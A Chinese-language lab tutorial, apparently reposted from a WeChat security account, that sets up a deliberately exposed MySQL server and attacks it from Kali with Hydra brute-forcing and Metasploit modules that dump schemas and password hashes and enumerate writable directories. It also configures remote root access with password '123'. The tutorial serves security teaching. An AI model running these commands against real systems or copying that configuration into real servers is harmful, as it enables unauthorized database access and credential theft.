MySQL渗透全流程

admin 2024年11月23日23:24:45评论10 views字数 2644阅读8分48秒阅读模式
摘要

MySQL 是一个开源关系数据库管理系统(RDBMS)。它广泛用于以结构化格式管理和组织数据,使用表来存储数据。MySQL 在使用客户端-服务器架构的网络设置中运行。在此配置中,MySQL 服务器管理数据库,而客户端应用程序连接到服务器以执行查询和更新数据等任务。MySQL客户端和服务器之间的交互是通过TCP/IP协议进行的,MySQL默认监听3306端口。

实验环境搭建

目标机器:Ubuntu (192.168.31.205)

攻击机器:Kali Linux (192.168.31.141)

在ubuntu机器上安装mysql服务,命令如下:

apt install mysql-server

MySQL渗透全流程

检查服务器是否已启动并正在运行, 使用以下命令:

netstat -tlnp

MySQL渗透全流程

从上面可以看出服务器已经启动并在3306端口运行。

在Kali Linux上使用namp扫描IP, 以检查服务器是否显示为关闭或打开, 执行以下命令:

nmap -p3306 -sV 192.168.31.205

MySQL渗透全流程

可以看到, mysql服务运行的3306端口处于关闭状态, 原因是MySQL服务器在机器内部运行, 并默认配置为127.0.0.1绑定地址。为了使服务处理开启状态, 需要更改该配置。编辑ubuntu机器中的mysqld.cnf文件, 输入以下命令:

nano /etc/mysql/mysql.conf.d/mysqld.cnf

MySQL渗透全流程

要使服务开启, 需要注释掉(#)bind-address=127.0.0.1行。

MySQL渗透全流程

再次使用nmap工具扫描IP,可以看到该服务现已打开。

nmap -p3306 -sV 192.168.31.205

MySQL渗透全流程

可以看到, 即使服务状态显示为open, 但仍然无法远程连接服务, 需要登录数据库执行以下命令:

mysql -uroot
CREATE USER 'root'@'%' IDENTIFIED BY '123';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';
FLUSH PRIVILEGES;

MySQL渗透全流程

第一条命令用于以root用户身份登录 MySQL 服务器。第二个命令创建一个名为root 的新用户,该用户可以从任何主机 (%) 进行连接,并将密码设置为123 。第三条命令授予新创建的 root 用户对所有数据库和表的所有权限。最后一个命令重新加载权限表,确保更改立即生效。

现在可以通过在kali linux中运行以下命令来检查是否可以远程登录MySQL服务器:

mysql -h 192.168.31.205 -uroot -p

MySQL渗透全流程

此时已经能够远程连接到MySQL数据库, 下面将对其进行渗透测试。

暴力破解MySQL凭证

可以使用 kali linux 内的Hydra工具传递用户名和密码列表来暴力破解 MySQL 凭据。这里使用用户名列表作为users.txt和密码列表作为pass.txt 。暴力攻击的命令是:

hydra -L users.txt -P pass.txt 192.168.31.205 mysql

MySQL渗透全流程

使用Metasploit进行利用

有很多与 MySQL 服务器相关的漏洞利用和辅助工具。下面将使用Metasploit中的auxiliary/admin/mysql/mysql_sql在连接数据库后直接运行SQL查询。

msfconsole -q
use auxiliary/admin/mysql/mysql_sql
set rhosts 192.168.31.205
set username root
set password 123
set sql show databases
run

MySQL渗透全流程

还有另一个辅助工具可以帮助转储整个数据,即auxiliary/scanner/mysql/mysql_schemadump。只需要提供连接数据库的用户名和密码,就可以转储整个模式。

use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.31.205
set username root
set password 123
run

MySQL渗透全流程

要转储用户名和密码哈希值,可以使用auxiliary/scanner/mysql/mysql_hashdump ,它提供了用户名和密码哈希值作为输出。

use auxiliary/scanner/mysql/mysql_hashdump
set rhosts 192.168.31.205
set username root
set password 123
run

MySQL渗透全流程

为了检查服务器端是否有可写的文件,可以使用auxiliary/scanner/mysql/mysql_writable_dirs来识别它。但是,默认情况下这是不可能的。需要在配置文件中更改一个设置,然后可以枚举可写目录。

要进行此配置,需要编辑/etc/mysql/mysql.conf.d/mysqld.cnf文件并在末尾添加行secure_file_priv= “ 。

MySQL渗透全流程

现在使用 Metasploit 检查可写目录:

use auxiliary/scanner/mysql/mysql_writable_dirs
set rhosts 192.168.31.205
set username root
set password 123
set dir_list dir.txt
run

MySQL渗透全流程

从上面可以看出/tmp目录是可写的。

要枚举文件和目录,可以使用auxiliary/scanner/mysql/mysql_file_enum 。如果目录或文件存在或不存在,它会给出结果。

MySQL渗透全流程

最后,要枚举整个MySQL服务器,可以使用auxiliary/admin/mysql/mysql_enum ,它将在使用有效凭据后在MySQL服务器上执行枚举。

use auxiliary/admin/mysql/mysql_enum
set rhosts 192.168.31.205
set username root
set password 123
run

MySQL渗透全流程

MySQL渗透全流程
MySQL渗透全流程
MySQL渗透全流程
配置自定义端口

MySQL渗透全流程
MySQL渗透全流程
MySQL渗透全流程

要在MySQL中进行端口修改,需要编辑配置文件。该文件的路径是/etc/mysql/mysql.conf.d/mysqld.cnf 。

nano etc/mysql/mysql.conf.d/mysqld.cnf

MySQL渗透全流程

可以看到默认端口是3306, 可以将端口号修改为4403 ,并删除该行中的注释(#)。

MySQL渗透全流程

现在,如果使用nmap扫描 IP,可以看到该服务已启动并在端口4403上运行。

MySQL渗透全流程

 

原文始发于微信公众号(二进制空间安全):MySQL渗透全流程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月23日23:24:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MySQL渗透全流程https://cn-sec.com/archives/3420464.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息